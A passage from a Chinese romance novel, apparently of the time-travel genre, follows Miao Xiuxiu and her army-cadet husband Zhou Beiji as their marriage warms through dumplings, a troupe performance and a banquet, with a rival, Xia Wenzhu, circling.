“怎么可能?他们都结婚半年多了。”夏文竹有点不相信。婚都结了,说两人从没圆过房,谁能信。
“怎么不可能,我三哥眼光高着呢,哪会看上她。本来我也不信的,是我姐告诉我的,他俩结婚好几个月都没怀孕,我爸妈有点着急,两个多月前我妈背着我爸偷偷让我姐带苗秀秀去医院检查,结果人家妇科大夫说,她还是个处女,怎么可能怀孕。后来我姐找我三哥说这事,我三哥自己也承认了。”周中中把这个惊天大秘密透露给夏文竹。
果然,夏文竹有些激动,又有些难以置信,“真的,他自己承认?他怎么会承认的?”
“我姐逼他的呗,问他这是闹哪一出,既然都结婚了,就安分过日子,我三哥被她逼急了,说他永远也不可能去碰一个他不喜欢的女人,说他将来肯定要离婚。”周中中说到这里有点愤慨,“都是怪我爸爸,要报恩也不能拿我三哥一辈子的幸福当赌注,没有爱情的婚姻注定是悲剧。”
夏文竹听到这里,心里莫名有些得意。虽然她和周北冀连手都没牵过,但是两人以前通过信,在信里进行过深层次的精神交流,她觉得自己是懂周北冀的,他俩才应该是一个世界的人。
电影散场的时候,苗秀秀谎称要去厕所,故意让周北冀在厕所门口等她一会,她不想在路上遇到周中中和夏文竹,也就一场电影的工夫,她已经感觉到情敌的强大,裁缝铺已经在向她招手,她要把绊脚石通通搬开。
在洗手间里耽搁了一会儿,苗秀秀对镜子里的自己很满意,挺胸抬头离开,走到周北冀身边,扯了扯他衬衣,示意他可以走了。
月色很美,一抬头就能看到满天繁星,周北冀走得很慢,似乎是有话想和苗秀秀说,酝酿了一晚上的情绪,他才终于鼓起勇气。
“那天的事,对不起。”周北冀说得很小声,但他相信苗秀秀能听到。给了她半个月时间消气,他觉得也差不多了。
苗秀秀没想到他能道歉,对他倒也有些改观,一个人能主动认错说明还没到无可救药。
抿了抿唇,苗秀秀有意宽宏大量地说:“也不能怪你,你又不知道。”
“那个……”周北冀斟酌着怎么问合适,可不问他又不能解他心头的疑惑,“你以前为什么要束胸?那样不仅不好看,对身体也不好。”
苗秀秀猜到他迟早要问这件事,不问他会憋死,于是反问他:“你想听真话还是假话?”“当然是真话。”周北冀望着她的眼睛,闹不懂她的想法,既然他都问了,听假话有什么意义?
“我们村里很多妇女闲着没事会在背后乱嚼舌头,我那时还没结婚,胸却比别人结了婚的还大,老有人在背后说闲话,就连我两个嫂子都在背后议论我,说些不好听的,我怕别人说我,就开始束胸了。”苗秀秀攥着手里的包带。
“无聊,人长成什么样都是天生的,有什么可议论。”周北冀虽然没接触过农村那些家庭妇女,但也能想象出她们会编造出什么样的流言蜚语来议论苗秀秀。语言和舆论对人的伤害是无形的,却也是巨大的,人言可畏四个字从古至今都未改变。
“议论别人也是人类的天性,就算是你们城里人也不能免俗,我就不信大院里没有人议论我,不然的话,怎么我一点事都能传到你耳朵里?”
苗秀秀的话一针见血,让周北冀哑口无言。他没想到媳妇现在变得这么犀利,可他并不讨厌这种犀利,反而觉得人就应该有自己的个性,被别人攻击的时候懂得反击。
“身正不怕影子斜,不做亏心事,就不惧流言。”周北冀轻轻拍了一下苗秀秀的腰。苗秀秀扭了一下,娇嗔地看了他一眼,“我当然没有做亏心事,别人做没
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做我就不知道了。”
周北冀笑了一笑,手插在口袋里,沉默了一会儿,又开始没话找话。
“我们马上放暑假了,但是我也没法回家,国庆阅兵方阵里有一个军校学员方阵,我们学校也要参加,暑假要排练列队。”
“那你晚上能回家吗?”
“看情况吧,放暑假宿舍管得不严。”
“你不回也好,我最近接了好多做衣服的活儿,经常忙到晚上十一二点,踩缝纫机的声音怕是会影响你睡觉。”
周北冀听到这话,心里不是滋味,苗秀秀好像并不欢迎他回家住似的,甚至他半个月没回家,她连个电话都没打过,甚至于看到他了,也没问他怎么那么长时间不回家。
这些天,他几乎每天晚上到了夜深人静的时候都会想起她,尤其是她的胸,老是让他产生想摸一摸的冲动,但是他也不是个登徒浪子,明白他俩虽然结了婚,感情上并不亲密,还没到能动手动脚的时候。
回到家里,睡觉的时候周北冀找不到行军床,问苗秀秀才知道,她把行军床搬到他书房去了,只要他不关门,行军床就能摆得下。
“这样我踩缝纫机的声音就不会吵到你。”
苗秀秀给的理由很充分,但周北冀也不是个傻子,苗秀秀很明显是在跟他赌气,以前是他嫌弃她,现在她也嫌弃他一回,让他尝尝被人冷落的滋味。
“我不喜欢睡书房。”周北冀才不会中她的计,又把行军床搬回了卧室,“都这么晚了,你该睡觉睡觉,要踩缝纫机明天踩。”
“好吧。”苗秀秀心想,看在你已经向我道歉的份上,就原谅你这一回。
两人还是分床睡,夜里,苗秀秀听到周北冀在行军床上辗转反侧的声音,猜到他一定是没睡好,轻手轻脚起身下床,走到他床边,轻轻摇了摇他手臂。
周北冀睁开眼睛看着她,听到她说:“这床睡着不舒服吧,长时间睡对腰也不好,你到床上睡吧,反正床大,两人睡得下。”
“不用,你睡你的。”周北冀坐起来一点。
月亮很大,从窗帘透进来的光足以让周北冀看清眼前的人,她弓着腰,从他的角度恰好能看到她睡衣里的无限春光,这让他一下子就有了反应,怎么可能再跟她去床上睡,和她共处一室,他已经很艰难在克制了,躺在一张床上,那还得了。
“那你注意点,不要扭到腰。”苗秀秀也不勉强她,过去床边把蚊香点起来。
火柴燃起来,眼看着就把蚊香烧出一个小红点,小小的火焰很亮,足以照清楚她瓷白的脸,火柴快要烧到她手指,她嘟起粉嫩的嘴唇轻轻吹熄了,只剩一缕青烟,妖妖娆娆的,像是能变出一个妖怪来。
怕他被蚊子咬,她把蚊香拿到行军床边上。
整个过程极短,但周北冀看得出神,她蹲在那里的时候连拖鞋都没穿,就那样光着脚,脚趾尖五个红点,他只看过姑娘们在手指甲上涂指甲油,涂在脚指甲上的还是头一次看到。
六月底天气炎热,晚上也没有一丝风,周北冀怎么睡都睡不着,只好摸着黑去打开电风扇。凉风吹来身上舒服多了,他才终于睡了过去。
12. 第十一章
次日一早,苗秀秀就开始忙碌,她买了二斤肉,准备包一顿饺子。她和周北冀都爱吃饺子,白菜馅儿是给自己吃的,茴香馅儿则是包给他吃。
周北冀晨练回来的时候,看到她已经和好了饺子馅儿,正在擀饺子皮,问她用不用帮忙。
苗秀秀说:“你要是会包饺子,就帮我包。”“我怎么不会,我在连队的时候就和战友一起包过饺子,包饺子有什么难的。”
周北冀洗了手过来帮苗秀秀包饺子,等他真正包的时候才发现包饺子并不像他想象中那么容易,他包出来的饺子歪七扭八,远没有苗秀秀包的那些胖嘟嘟的饺子好看。
“我还忘记问了,家里的煤气罐是你换的?”周北冀半个月没回家,回家才想起来煤气罐好长时间没换了,以前每次煤气用完了,都是他换。
“不是,我哪扛得动煤气罐,是院里烧锅炉的老赵帮我换的。”苗秀秀包好了一个饺子,放到竹子盖帘上。
“烧锅炉的你也认识?”周北冀从来不认识这些人。
“认识啊,老赵就是食堂张红梅大姐的爱人,以前是个军人,执行任务的时候被炸伤了腿伤残了,组织上照顾他,安排他在咱们院里烧锅炉。”
苗秀秀感叹,周少爷真是两耳不闻窗外事,他在这院里至少住了十几二十年,竟然不认识锅炉工老赵。锅炉工在北方地区可是个重要岗位,关系到千家万户冬季取暖和夏季用热水。
“那人家老赵腿都不好了,你还叫人家帮你扛煤气罐?”
“走路有点瘸,但力气可大了,听说他当兵之前在老家涞水是摇煤球的。”
周北冀笑起来,“苗秀秀,我发现你不去当侦察兵可惜了,连个烧锅炉的你都把人家的事打听个底儿掉。”
“是张大姐自己主动告诉我的。”苗秀秀自从帮张红梅做过几件衣服,就和张红梅混熟了,家里有什么搬搬弄弄的事,苗秀秀自己干不动又不值当把周北冀叫回来的时候,就会麻烦张红梅的丈夫老赵帮忙。
老赵是个热心肠,虽然腿有些不灵便,但扛煤气罐这种小事不在话下。每次找他帮忙,苗秀秀也没亏待他,不是送一包茶叶就是给一罐麦乳精,反正她家里副食品票都吃不完,送人也不心疼。
厨房锅里煮着的水咕嘟咕嘟开了,苗秀秀把包好的饺子下到锅里去煮。周北冀倚在门边看她,她穿一条浅绿色碎花裙子,丰满的胸脯把腰身衬托得纤细玲珑不盈一握,一张脸看起来特别清秀水灵,心里感叹,怎么一个人前后的变化能这么大?
思想发生改变有可能是受了某些事情的刺激,但言谈举止和气质发生改变,不是一朝一夕的事,苗秀秀好像一夜之间就变了,变得让他越来越喜欢看她。
“区里要办夜校,你想不想去上?”周北冀从别人那里听说这个消息的时候,第一个想到的就是苗秀秀。苗秀秀之前被周家人瞧不起,很大程度上是因为她文化水平不高,见识有限。
夜校?苗秀秀有点印象,就是利用晚上的时间参加成人教育,参加全国统一考试后取得函授的大学文凭,虽然含金量不高,却是那个时代很多被文·革耽误上学的人重新获取知识的重要途径。
苗秀秀想了想,虽然她不需要通过夜校来获取知识,但是至少弄到那张文凭能让她扬眉吐气证明一下实力,于是她带着几分雀跃,问他,自己能不能去上?
“你想去的话,我帮你报名,学校地点离家不远,你坐公交车也就三站路。”
“我能不能买个自行车啊,我不喜欢坐公交,自行车方便点。”
苗秀秀早就想买自行车了,这样她去哪儿都方便点。
“你会骑吗?”
“会啊,我在老家的时候就骑过我二哥的车。”
“那就买一辆。”
周北冀对苗秀秀有求必应。苗秀秀很高兴,让他去客厅坐着等着吃饺子,顺带还安排给他一个捣大蒜的活儿。
“干嘛要捣啊,吃整瓣儿蒜就行。”周北冀最不喜欢捣蒜,小时候家里每次吃饺子,保姆忙着包饺子下饺子没时间捣蒜泥,沈芬玉就安排他捣蒜,他特别讨厌捣蒜。
“捣成蒜泥更好吃。”苗秀秀把蒜臼子拿给他,推他出厨房。
两盘热气腾腾的饺子端上桌,苗秀秀见周北冀捣蒜捣得差不多了,把蒜臼子拿过去,倒点醋进去涮了涮,一点蒜沫子也不浪费,全都倒在碟子里,再倒上酱油麻油辣椒油,吃饺子的蘸料就调好了。
煮饺子的水蒸气从厨房传到客厅里,氤氲了一层雾,有一种属于家庭的、人间烟火的温馨感,两人吃着热乎的饺子,又说起夜校的事。
“可惜我要训练,不然我每天去夜校接你放学。”周北冀说出这句话的时候,自己都有点不敢相信自己的耳朵,以前他对她哪有这样的耐心,现在却想和她多一点相处的时间培养感情。
“不用了,这样太麻烦你,我自己骑车就行。”
“干嘛跟我客气?”
“没跟你客气啊,不是让你给我买自行车了。”
苗秀秀很会说话,一句让你给我买自行车就让周北冀心里舒服多了,低头吃饺子。
苗秀秀瞅他一眼,心说,不跟你客气跟谁客气,你又不爱我,现在讨好我无非是看上我的胸,想摸想睡了。你那点心思,当我看不出来?
看周北冀一盘不够吃,苗秀秀又去下了一盘给他。饺子馅儿味道调得不错,周北冀一个人就吃了两盘。
中午,把周北冀赶到隔壁午睡,苗秀秀在卧室踩了一中午缝纫机,下午周北冀打球回来,看到苗秀秀已经在熨烫刚刚做好的衣服。
“你换下来的衬衣我也给你洗好了,一会熨好了再给你穿。”苗秀秀该贤惠的时候绝对让周北冀挑不出任何毛病。
周北冀走上前,看看苗秀秀手里的衣服,问:“这是给谁做的衣服?”“楼下的李嫂子,也是随军家属,你应该认识。”苗秀秀熨衣服的时候非常认真,一点褶皱都不允许有。
周北冀嗯了一声,那个李嫂子他记得是个很壮实的女人,笑的时候露一口参差不齐的四环素牙,这么好看的衣服给她穿简直浪费了,家属区这么多女人,像秀秀这样身材比例出众的不多,该瘦的地方瘦,该丰腴的地方又丰腴,是他喜欢的那种恰到好处的性感身材。
“看我干什么?你也想学啊?”苗秀秀妩媚含笑看了他一眼。这一眼看得周北冀心都酥了,但是他没有表现出来,无声地去了书房。
傍晚,周北冀走的时候,苗秀秀交给他一个饭盒,说是中午剩下的饺子,她吃不了,让他带到学校去吃。周北冀把饭盒装进袋子里,苗秀秀送他到楼下。
趁着四下里没人,周北冀在苗秀秀腰上捏了一下,骑上车走了。苗秀秀没想到他会忽然有这样亲昵的小动作,微笑着目送他远去。
以前她觉得,男人的手也不过就是手罢了,这一刻才深深体会,有时候手并不只是手,尤其是丈夫的手,不管他俩感情亲密不亲密,私下里的肢体接触都带着几分调情的意味。
“呦,小俩口感情真好,难舍难分的。”李嫂的大嗓门老远就能听到。苗秀秀忸怩了一下,转移话题,“李嫂,你的衣服我做好了,我上去拿给你。”
“先不急,我老乡又进城来卖鸡蛋了,就在门口,你陪我过去取一下,回头我分你一半。”
李嫂老家在雁京郊区农村,村里的老乡们经常进城卖菜卖鸡蛋,李嫂有时候会把他们叫到大院门口,介绍认识的家属去买。农民的菜又新鲜又便宜,好多人都愿意买。
自从知道苗秀秀会做衣服,李嫂没少找她做衣服、改衣服,家里孩子多,大人衣服改改给小孩穿,大孩子衣服改改给小孩子穿,是很多家庭的常态,况且苗秀秀手特别巧,做出的衣服很显瘦,因此李嫂有什么好事也愿意和苗秀秀分享。
大院门口,周北冀快骑出院门的时候,看到夏文竹站在不远处向自己招手,似乎是有话要说。他没下车,车在她身边停下,用脚支着地。
“找我?”周北冀没想到夏文竹会在这里等他。自从他结婚,他俩的关系虽然没有疏远多少,但为了避嫌,很少独处。
“嗯,我炸了些藕夹子,一个人吃不了,给你带到学校去吃。”夏文竹把塑料袋包裹好的饭盒交给周北冀。
周北冀没接,“你自己留着吃吧,我在学校饿不着。”
“学校的伙食能有多好,
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秀秀嫂子做的饭你又不爱吃,我听说你们暑假要开始国庆阅兵集训,多吃点才有力气。”夏文竹看到周北冀的车把上挂着个手提袋,主动把手里的饭盒放进袋子里。
袋子里似乎也有个饭盒,她假装没看到,和周北冀说了一声,也就走开了。周北冀无奈,只得脚一蹬,骑着车出门而去。
这一幕,恰好被苗秀秀和李嫂看到了。
“不要脸。”李嫂骂了一句。她一向最看不惯文工团那帮唱歌跳舞的狐狸精,听说她们中好几个人为了嫁干部子弟,不惜插足别人家庭,背后没少被人骂。
“我家小周不是那种人。”苗秀秀在外人面前是个一心维护丈夫的好媳妇。
“小周当然不是,但那个女人可不好说,娇滴滴的,一看就不是好东西。”李嫂生怕苗秀秀不知道,主动告诉她,“听说她以前追你家小周追得可凶了,可惜小周他妈不太喜欢她,一直没同意,后来你嫁过来,才断了她的心思,不知道今天又抽什么风。”
肯定是昨天在电影院受刺激了呗。苗秀秀对他俩的事并不怎么吃醋,反而有点幸灾乐祸。
虽然原主关于夏文竹的记忆不多,但她每次出现都能膈应到原主,令她黯然神伤,后来还故意设计,给原主看到她和周北冀接吻,因此只要是能让夏文竹不高兴的事,苗秀秀就非常乐意去做,哪怕让周北冀那小子占便宜。
周北冀回到学校宿舍,把夏文竹的饭盒拿出来,准备把藕夹子分给室友吃,打开塑料袋才发现饭盒上压着一张演出票。
七一文艺汇演?座位还挺靠前,他愣怔了一下,把票放进抽屉里。
室友们看到饭盒里的藕夹子,也不用他招呼,争前恐后吃起来。藕夹子炸出来时间不长,还是热的,几个人吃得津津有味。
“还有别的好吃的吗?”叶耀然问。
“没了。”周北冀不想把苗秀秀给他带的饺子分给别人吃,准备留着当第二天的午餐。
“别小气,肯定还有,我明明看到你拿了两个饭盒。”叶耀然走到周北冀床铺旁扒拉他带回来的手提袋。
“就是,有好吃的不给哥几个分享,你想自己吃独食可不行,现在天热,东西放饭盒里不到明天就得馊了。”另一个室友也没吃够劲,跟着叶耀然起哄。
他们的话也不是没有道理,三十多度的气温,宿舍又没有冰箱,一夜过去饺子肯定馊了,周北冀挣扎了半天,只得把饺子也贡献出来,打开饭盒一看,苗秀秀竟然还贴心地给他准备了蒜泥和醋,装在一个小袋子里。
几个人一哄而上,很快把一饭盒饺子全抢光了,周北冀自己反而没吃上,无奈地看着这群土匪,气道:“都不给我留一个。”
“你有媳妇给你包饺子,我们又没有,吃你几个饺子怎么了,下回等天凉快了请你去东来顺吃涮羊肉。”叶耀然把最后一个饺子塞进嘴里,嚼巴嚼巴,觉得味道不错,表扬苗秀秀的厨艺。
灵机一动,周北冀问叶耀然,“七一文艺汇演舒华也会参加吧,能不能请她帮忙弄两张票?”
叶耀然的女朋友舒华是军区文工团的独唱演员,每次有什么演出,都会给叶耀然送票。周北冀想带苗秀秀去看演出。以前苗秀秀总是窝在家里,接触人太少了,多点社交,应该能逐渐改善她的自卑心理。
“没问题,包在我身上。”叶耀然天天下了课就去找舒华,恨不得像尾巴一样黏着她,要两张票算多大的事。
“想带你媳妇去啊,还是——”叶耀然很有深意地眨巴了一下眼睛。周北冀和他关系最好,有什么事也都不瞒他,因此他知道,最近周北冀和他媳妇处得不错,然而舒华私下里告诉过他,夏文竹对周北冀一直也没死心。
周北冀嗯了一声。
叶耀然像是想起什么事,对周北冀说:“有件事差点忘记跟你说,小华说上回看到你媳妇给她们团报幕员做的裙子特别漂亮,她想找你媳妇帮忙做一条演出穿的裙子。”
“可以啊,我回去跟秀秀说一下。”周北冀没想到苗秀秀这么快就打开了市场。文工团那群漂亮姑娘眼光可是相当高的,苗秀秀做的衣服能入她们的眼说明她水平确实可以,这让他对她颇有些刮目相看。
13. 第十二章
七一一大早,周北冀给家里打了个电话,让苗秀秀在军区大礼堂门口等自己,说是要带她去看场演出。
眼珠转了转,苗秀秀问他:“什么演出啊?”
“军区七一文艺汇演,九点钟开始。”
“哦哦,我早点去,等着你。”
苗秀秀特意穿上新做的杏黄色连衣裙,往脖子上喷了点花露水,提上小包出门。烈日炎炎,她撑起小花伞,在礼堂门口等了十多分钟,终于看到周北冀骑车过来。
看到他满头的汗,苗秀秀拿出小手绢细心地替他擦汗,“热吧,我去买冰棍儿给你吃。”“我去买。”周北冀闻到手帕上的淡淡香气,只觉心旷神怡。
他的目光,和往常有点不一样,苗秀秀在这方面是个敏感聪慧的女子,她能从他简单的一个眼神一个动作里看出来他的心情,不知道从什么时候,他看着自己的时候,眼眸深处有光了。
买了两瓶北冰洋汽水,给苗秀秀一瓶,自己一瓶,周北冀带着苗秀秀进礼堂。看演出的人很多,前排就座的都是军区首长和首长夫人们,苗秀秀看到自己公公周明康坐在第一排,却没看到婆婆沈芬玉,颇有些奇怪。
“妈没来呀?”苗秀秀悄悄问周北冀。
“天热妈说头疼,就没过来。”周北冀没有告诉苗秀秀,沈芬玉不喜欢看这些演出,很大原因是她讨厌文工团那些唱歌跳舞的演员。
“那我们是不是应该回家去看看妈?”苗秀秀嘴上这样说,心里想的却是,作了一辈子的老太太,活该你头疼,但凡你善良点,原主也不会那么怕你。
“不用,妈过两天就好了。对了,舒华说想找你做一条演出穿的裙子。”周北冀没有忘记哥们儿的嘱托。
“舒华是不是叶三哥的女朋友?”苗秀秀记得,舒华后来成了全国有名的歌唱家,经常在出现在央视的各类晚会上,哪怕是三四十年后,春晚的舞台也少不了她。
没想到自己能见到年轻时的舒华,还能有幸给她做演出服,这让她不禁有些激动,她上辈子的老爸最喜欢的歌唱家就是舒华,说她人美歌也美。
“是,他俩都快谈婚论嫁了。”
“那我得好好表现,想个有创意的设计。”
看苗秀秀一副跃跃欲试的表情,周北冀笑了笑,注意到她裙子上沾了一根头发,伸手替她把头发拿掉。苗秀秀也跟他笑,余光瞥见周中中正在过道上找座位,有意把头靠在周北冀肩上。
周中中一抬头,恰好看到这一幕,苗秀秀那个女人亲昵地依偎在她三哥身上,而她三哥竟然没有一丝要拒绝的意思,反而低头跟她说话。
“中中,你发什么呆?”和周中中一起来看演出的女同学轻轻拍了一下周中中。周中中这才回过神来,说:“没什么,看到一只苍蝇,怪讨厌的。”
“走吧,演出马上就要开始了。”女同学找到了座位,拉着周中中往那一排中间走。
演出开场以后,节目很不错,虽然这时候的舞台远不像后世那样复杂和五光十色,但是演员们演得一丝不苟很真诚。
听到报幕员说,下一个舞蹈《时代的旋律》,表演者夏文竹等,苗秀秀心里一沉,原来夏文竹也要参加演出,难怪周北冀这么积极来看。要看你自己看就好了,非要带上我,真是此地无银三百两。
苗秀秀咬着吸管儿,没好气地看着舞台。
舞台妆十分浓艳,她看了半天才辨认出哪个是夏文竹,不得不说,这姑娘身条儿确实好,难怪很多男人找对象都喜欢找跳舞的,瞧人家那小腰、小身板儿,软得跟面条儿似的,这要是在床上,能解锁多少高难度体·位,不得让男人欲·仙·欲·死啊。
偷偷瞄了一眼周北冀,发现他表情很平静,和之前看别的节目时并无区别,但是他没有喝汽水,说明他关注点都在舞台上,苗秀秀发现这个细节,耸了耸鼻子,低头大力吸着吸管儿,有意弄出点声音。
噗噗声终于引起了周北冀的注意,扭头看苗秀秀把汽水都喝没了还在那里吸,生怕浪费一滴似的,忍俊不禁,把自己喝了一半的汽水瓶递给她。
才不要喝你的口水,苗秀秀没接他手里的汽水,说:“你自己喝吧,我喝饱了。”周北冀淡淡一笑,脸转了过去,目光再次投向舞台。
苗秀秀端详他两秒钟,忽然有点觉悟,这家伙应该是知道她心思的,毕竟他婚后也没和夏文竹断绝来往,出没出轨不知道,因此他带她来看演出,试探的可能性很大。
再次看向他,苗秀秀发现他挺直的鼻梁特别好看,难怪小说里总是用希腊雕塑来形容人的鼻子,他是周家最好看的孩子,所以从小就很得父母宠爱,谁不喜欢漂亮的小孩子呢,特别是自家的孩子。
旁边的座位上就有个很漂亮的小男孩,大概一两岁的样子,被他妈妈抱在怀里,大人看演出的时候,他一会看看舞台,一会又玩玩手里的小汽车玩具,有一会还盯着苗秀秀手里的芒果干看。
苗秀秀知道这小男孩是叶耀然大哥家的孩子,拿了一块芒果干给他。小男孩虽然很想吃,但是他没有接,而是看了看自己妈妈,见妈妈光顾着看演出没有注意自己,他拉了拉妈妈的衣服。
男孩妈妈低头看到儿子小手指了指苗秀秀手里的芒果干,微微一笑,低头对儿子说:“苗阿姨给你的,你就吃吧。记得说谢谢阿姨。”
小男孩这才高兴地把芒果干接过去,眨巴着漂亮眼睛对苗秀秀说:“谢谢阿姨。”
小奶音又萌又可爱,苗秀秀看着他吃芒果干被酸得小脸皱起来的表情,心都快被萌化了,问男孩妈妈,“叶大嫂,宝宝能不能让我抱一会?”
男孩妈妈同意了,把儿子交给苗秀秀抱着,说她正好想去上个厕所。
苗秀秀抱着软软的小糯米团子,觉得他是自己看过的最好看最可爱的小男孩,也顾不上看节目了,低头问他:“你叫什么名字呀,今年几岁了?”
小男孩一点也不认生,说:“叶小舫,两岁。”才两岁啊,怪不得说话还不清楚,苗秀秀胳膊肘碰了碰周北冀,“叶大哥家的宝宝好可爱。”
周北冀看了一眼,见男孩黑白分明的眼睛滴溜溜四下张望,那目光一看就很聪明的样子,笑道:“叶家的宝贝大孙子,抓周的时候大人摆了一大堆东西在他面前,他一下子找出来玩具手枪,把叶伯伯高兴坏了,说这小子以后肯定是个优秀的军人。”
“我看也是,虎头虎脑的一看就是聪明宝宝,是不是啊,小老虎?”苗秀秀嘟着嘴在男孩脸上亲了一下。男孩马上也亲了漂亮阿姨一下,看到自己妈妈回来,张开手臂叫妈妈抱。男孩妈妈把他抱了回去。
舒华出场表演的时候,苗秀秀情绪明显高了很多,从头到尾盯着舞台不说,她还卖力给她鼓掌,这个时代还没有追星族的说法,因此周北冀也只把她的表现当成是喜欢舒华唱的歌。
“年轻时就
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唱得这么好,声音几十年都不变。”苗秀秀印象里,舒华一直是国内唱民歌的歌唱家里的第一梯队。
“什么几十年?她才二十多岁。”周北冀没听明白。
“我知道她二十多,我的意思是她唱得太好了,气息太稳了,这样的声音不去唱花腔可惜了。”苗秀秀听得特别投入。她记得有次在文艺晚会上,舒华客串美声唱法,唱了莫扎特的歌剧《魔笛》中的一首歌曲,技惊四座。
连唱两首歌之后,舒华用英语演唱了电影《翠提春晓》的插曲《Onedaywhenwewereyoung》,歌声优美令人陶醉,苗秀秀情不自禁跟着哼唱。
周北冀看了她一眼,见她又在鼓掌,轻轻搂了一下她的腰,“你现在连英语歌也听得懂了?”苗秀秀瞬间忘记了表情管理,脸上肌肉一抖,讪笑,“人家也上到初三好不好,你初中没学英语啊?”
“你上初中的时候正赶上文·革尾巴,你们镇上的学校都开始学英语了?”周北冀自己都没学过几年英语,也就是从进了陆军学院以后才开始恶补,他不相信苗秀秀能学得比他好。
“反正人家唱得就是好,我就算一句也听不懂,我也觉得好听。”苗秀秀噘着嘴强词夺理。周北冀这才没有怀疑,笑着往后靠在椅背上。
好险,差点就穿帮。苗秀秀深刻反省,一遇到高兴或者生气的事,她就特别容易忘形,每次她尾巴一翘起来,准能被这人给抓住漏洞,他好像天生要克她似的,心怎么就那么细?
太投入想这件事,以至于她发现不对的时候,整个人已经依偎在周北冀怀里。男女之间一旦共同去做某件事情,关系就会不知不觉中变得亲密,尤其是看电影、看演出这样置身于人群中的场合,并非独处,身体却能因为彼此靠近而分享亲密感。
苗秀秀有点迷离,但是又不想破坏这种氛围,她的额头抵着他的下巴,他的手臂环住她的腰,他的嘴唇不小心碰到她脸颊的时候,他顺势就亲了下去。
演出完了,周北冀没有立刻走,而是带苗秀秀去了后台,说是带她去和舒华认识一下。
苗秀秀有些激动,见到舒华的时候,主动伸手去和她握手。虽然她上辈子因为工作的关系见过不少明星和模特,但这位在歌坛的地位不一样啊,国宝级的歌唱家,还是老爸的女神,能和她见面握手是她的荣幸。
舒华脸上还带着妆,看起来非常漂亮,苗秀秀跟她握了手,主动说起演出服的事,约舒华哪天有空了去家里量一下尺寸。舒华对人很和气,脸上始终带着笑。
这时候,夏文竹从隔壁化妆间过来,她已经卸了妆,看到周北冀先是愣了一下,很快主动迎上来。
满眼只看到心上人,她甚至没发现苗秀秀就站在一旁,高兴地对周北冀说:“你来了?我还以为你已经走了呢。”周北冀有点尴尬,说:“我陪秀秀过来的。”
夏文竹这才看到苗秀秀就在边上,正和舒华说话,脸色微微一变,但很快恢复笑容,眼睛望着周北冀,“秀秀嫂子来了正好,我们团在宴会厅包了几十桌,我和中中都要过去吃饭,你和秀秀嫂子也一起去吧,大家热闹一下。”
这时候,舒华和叶耀然也在邀请苗秀秀去参加他们的聚餐,舒华说:“我们聚餐很热闹的,耀然也去,你和小周也一起去吧。”苗秀秀未置可否,看了一眼周北冀。周北冀本来不想去,可架不住叶耀然和舒华也热情邀请,只得答应下来。
14. 第十三章
众人一起去宴会厅吃饭,气氛很热闹,唯一让人膈应的是夏文竹太过婊里婊气,周中中把她按在周北冀身边坐着,她居然也就坐下了。苗秀秀对此还没什么,和他们坐同一桌的叶耀然和舒华明显有些尴尬。尤其是舒华,有点歉意地向苗秀秀笑了笑,目光示意她别理夏文竹。
那个时候没有空调,宴会厅里只有吊扇,人多的地方自然就会很热,苗秀秀从包里拿出檀香扇扇着风。
啊嚏——夏文竹忽然打了个喷嚏,拿手绢掩住口鼻,有点不好意思地说:“对不起,我不是有意的,香水味太浓了,我一下没忍住。”
苗秀秀把檀香扇凑到鼻子底下闻了闻,“很香吗?只洒了一点点花露水啊。”
“可能我鼻子太灵了吧,我对比较浓烈的味道都很敏感。”夏文竹说话的时候文文秀秀的,声音也娇柔婉转,生怕吓着谁的,任何人听到都不会高声和她说话,尤其是男人,听到这样嗲的声音,骨头都能酥了。
矫情!苗秀秀腹诽,有意说:“那你可要注意了,有可能是过敏性鼻炎。”
“文竹才不是鼻炎,是你扇子的味道太冲了,熏死人。”周中中在一旁帮夏文竹说话,说话的时候还冲着苗秀秀翻了个白眼。
“熏人吗?”苗秀秀故意把扇子递到周北冀面前,“是咱家的花露水,你不是说挺好闻的。”
“洒得有点多。下回给你买法国香水,味道淡雅一点。”周北冀很会做人,既不反驳他妹妹的话,也有本事哄媳妇。
这样一来,不高兴的只有夏文竹,几个人说话,周北冀谁也不得罪,偏偏没有关注到她。这让她说不出的委屈。
菜上来以后,夏文竹尽量把周北冀爱吃的菜都转到他面前,周北冀偶尔动几筷子,大多数时候他不怎么吃,最近他的口味已经被苗秀秀养刁了,觉得这些食堂后厨做出来的大锅菜远没有苗秀秀给他开的小灶好吃。
苗秀秀倒无所谓,反正她饭量小,随便吃一点就饱了,看到周北冀不吃,明知故问:“你怎么不吃啊?”
“想吃水煮鱼。”周北冀看着桌上的清蒸鱼完全没有胃口。周家保姆小张是四川人,做出来的菜都有点偏辣,他已经吃辣吃习惯了,清淡的菜有点吃不下。
“那下午我去买鱼,晚上给你做。”苗秀秀自己也很喜欢吃水煮鱼。
叶耀然听到他俩对话,插一句:“你要做水煮鱼啊?能不能带上我,听说你烧菜很好吃。”
苗秀秀当即同意,大大方方地说:“行啊,欢迎你和舒华姐一起去我家吃饭,除了水煮鱼,我还可以做梅菜扣肉给你们吃。”
就这么愉快地约好了晚上的饭局,苗秀秀心情大好,夹了一筷子青菜吃。不用看她也知道,桌上那两个讨厌鬼一定气死了。
“你上回炸的藕夹子很好吃,我吃了好几块,晚上能不能再炸个藕夹子。”叶耀然一点也不跟苗秀秀客气。
藕夹子?苗秀秀和周北冀同时愣住了,夏文竹也有点呆,她没想到周北冀会把她送的东西分给别人吃,眼圈都红了。
周北冀想冲着叶耀然使眼色,可是已经不能够,苗秀秀先开口,说:“藕夹子可以啊,你喜欢吃糖醋的还是椒盐的?”
“都行。”叶耀然只要有吃的就不挑剔。舒华抿嘴笑了笑。叶耀然不止一次和她说,学校食堂的伙食不怎么样,他都吃瘦了。
没有邀请周中中和夏文竹,苗秀秀和舒华约好了时间,舒华准备下午提前一点过去,帮苗秀秀做菜。
去菜市场买了两篮子菜,苗秀秀一头扎进厨房忙活,四五点钟的时候,舒华和叶耀然也来了,舒华洗了手去厨房帮苗秀秀准备菜,叶耀然则和周北冀在他书房里下象棋。
“这书房真不错,以后等我结婚了,我也要布置一个这样的书房,摆上留声机,听摇滚。”叶耀然打量着书房的布置,是周北冀一贯的风格。
这个年代也只有高干子弟或者高级知识分子家庭出身的人,才能接触到这些前卫艺术,普通人连听到港台歌曲的机会都不多。
他只在周北冀结婚那天来闹过一次洞房,之后就再也没到他家来过,他知道周北冀对婚事不满意,所以婚后很长一段时间也不邀请朋友到家里来玩,这回他和舒华过来,是破天荒的头一遭。
“还行吧,就是房间太小了,什么都摆放不下,我那套架子鼓到现在还放在我父母家,我原先的房间赶上这里两三倍大。”周北冀手里拿着棋子,琢磨棋局。
